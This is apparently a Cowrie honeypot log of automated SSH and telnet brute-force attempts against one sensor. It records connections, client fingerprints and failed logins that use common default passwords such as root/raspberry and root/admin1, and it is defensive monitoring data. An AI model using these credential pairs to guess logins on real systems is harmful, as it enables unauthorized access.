{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:00.417769Z","src_ip":"192.109.200.78","session":"38fbc4444ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:01.294523Z","src_ip":"176.65.139.95","session":"47407b63a3bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52818,"dst_ip":"159.203.135.109","dst_port":22,"session":"085d64eb4e36","protocol":"ssh","message":"New connection: 192.109.200.78:52818 (159.203.135.109:22) [session: 085d64eb4e36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:03.082593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:03.092599Z","src_ip":"192.109.200.78","session":"085d64eb4e36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:03.178405Z","src_ip":"192.109.200.78","session":"085d64eb4e36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:03.427066Z","src_ip":"192.109.200.78","session":"085d64eb4e36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:04.828638Z","src_ip":"192.109.200.78","session":"085d64eb4e36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":38352,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7237ccb2e92","protocol":"ssh","message":"New connection: 176.65.139.95:38352 (159.203.135.109:22) [session: f7237ccb2e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:06.647769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:06.669760Z","src_ip":"176.65.139.95","session":"f7237ccb2e92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:06.816541Z","src_ip":"176.65.139.95","session":"f7237ccb2e92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52832,"dst_ip":"159.203.135.109","dst_port":22,"session":"548a5d4bfc14","protocol":"ssh","message":"New connection: 192.109.200.78:52832 (159.203.135.109:22) [session: 548a5d4bfc14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:07.049058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:07.057971Z","src_ip":"192.109.200.78","session":"548a5d4bfc14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:07.344136Z","src_ip":"192.109.200.78","session":"548a5d4bfc14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:07.461399Z","src_ip":"176.65.139.95","session":"f7237ccb2e92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1","message":"login attempt [root/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:07.666799Z","src_ip":"192.109.200.78","session":"548a5d4bfc14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:08.547503Z","src_ip":"176.65.139.95","session":"f7237ccb2e92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:08.753267Z","src_ip":"192.109.200.78","session":"548a5d4bfc14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58162,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e0615bc1423","protocol":"ssh","message":"New connection: 192.109.200.78:58162 (159.203.135.109:22) [session: 7e0615bc1423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:11.356867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:11.361512Z","src_ip":"192.109.200.78","session":"7e0615bc1423","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:11.444101Z","src_ip":"192.109.200.78","session":"7e0615bc1423","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:11.699560Z","src_ip":"192.109.200.78","session":"7e0615bc1423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":55282,"dst_ip":"159.203.135.109","dst_port":23,"session":"37aefd717a86","protocol":"telnet","message":"New connection: 194.247.164.234:55282 (159.203.135.109:23) [session: 37aefd717a86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:11.955647Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:12.784816Z","src_ip":"192.109.200.78","session":"7e0615bc1423","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40672,"dst_ip":"159.203.135.109","dst_port":22,"session":"c71c10e1ce5d","protocol":"ssh","message":"New connection: 176.65.139.95:40672 (159.203.135.109:22) [session: c71c10e1ce5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:13.729153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:13.735818Z","src_ip":"176.65.139.95","session":"c71c10e1ce5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:13.822281Z","src_ip":"176.65.139.95","session":"c71c10e1ce5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:14.110760Z","src_ip":"176.65.139.95","session":"c71c10e1ce5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:15.387944Z","src_ip":"176.65.139.95","session":"c71c10e1ce5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":58174,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ecfd47cae60","protocol":"ssh","message":"New connection: 192.109.200.78:58174 (159.203.135.109:22) [session: 1ecfd47cae60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:15.623539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:15.701387Z","src_ip":"192.109.200.78","session":"1ecfd47cae60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:15.752739Z","src_ip":"192.109.200.78","session":"1ecfd47cae60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234567","message":"login attempt [user1/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:16.051158Z","src_ip":"192.109.200.78","session":"1ecfd47cae60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:17.137658Z","src_ip":"192.109.200.78","session":"1ecfd47cae60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":37984,"dst_ip":"159.203.135.109","dst_port":22,"session":"33ba06f6a323","protocol":"ssh","message":"New connection: 192.109.200.78:37984 (159.203.135.109:22) [session: 33ba06f6a323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:19.596726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:19.601121Z","src_ip":"192.109.200.78","session":"33ba06f6a323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:19.689632Z","src_ip":"192.109.200.78","session":"33ba06f6a323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:19.938188Z","src_ip":"192.109.200.78","session":"33ba06f6a323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54090,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf4bd49e9f87","protocol":"ssh","message":"New connection: 176.65.139.95:54090 (159.203.135.109:22) [session: bf4bd49e9f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:20.569882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:20.580571Z","src_ip":"176.65.139.95","session":"bf4bd49e9f87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:20.868550Z","src_ip":"176.65.139.95","session":"bf4bd49e9f87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.247.164.234","src_port":57724,"dst_ip":"159.203.135.109","dst_port":23,"session":"99cf0c43c43e","protocol":"telnet","message":"New connection: 194.247.164.234:57724 (159.203.135.109:23) [session: 99cf0c43c43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:21.021776Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:21.029772Z","src_ip":"192.109.200.78","session":"33ba06f6a323","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:21.302825Z","src_ip":"176.65.139.95","session":"bf4bd49e9f87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:12:22.396065Z","src_ip":"176.65.139.95","session":"bf4bd49e9f87","protocol":"ssh"}
